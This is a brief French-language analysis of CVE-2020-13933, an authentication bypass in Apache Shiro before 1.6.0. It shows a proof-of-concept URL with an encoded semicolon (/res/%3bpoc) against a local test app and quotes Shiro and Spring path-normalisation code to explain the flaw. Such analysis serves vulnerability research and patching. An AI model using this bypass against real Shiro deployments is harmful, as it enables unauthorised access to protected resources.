
CVE-2020-13933 Cible : vulnérabilité de contournement de l'authentification Shiro
shiro < 1.6.0 : vulnérabilité de contournement d'authentification
http://127.0.0.1:8080/res/%3bpoc
ShiroConfig.java:
/res/*, une redirection 302 vers la page de connexion est effectuée pour l'authentification.NameController.java:
/res/{name}: demande la ressource nommée name (déclenche l'authentification)
/res/: ne demande aucune ressource (ne déclenche pas l'authentification)Lorsqu'aucun nom de ressource n'est spécifié dans la route de la requête, l'authentification n'est pas déclenchée et aucune ressource n'est renvoyée : http://127.0.0.1:8080/res/

Lorsqu'un nom de ressource est spécifié dans la route de la requête, une redirection 302 vers la page d'authentification est effectuée : http://127.0.0.1:8080/res/poc

En construisant une requête PoC spécifique désignant une ressource, l'authentification n'est pas déclenchée et la ressource est renvoyée : http://127.0.0.1:8080/res/%3bpoc (%3b est l'encodage URL de ;)

// org.apache.shiro.web.util.WebUtils.java
// line 111
public static String getPathWithinApplication(HttpServletRequest request) {
return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request)));
}
// org.springframework.web.util.UrlPathHelper.java
// line 459
private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
uri = removeSemicolonContent(uri);
uri = decodeRequestString(request, uri);
uri = getSanitizedPath(uri);
return uri;
}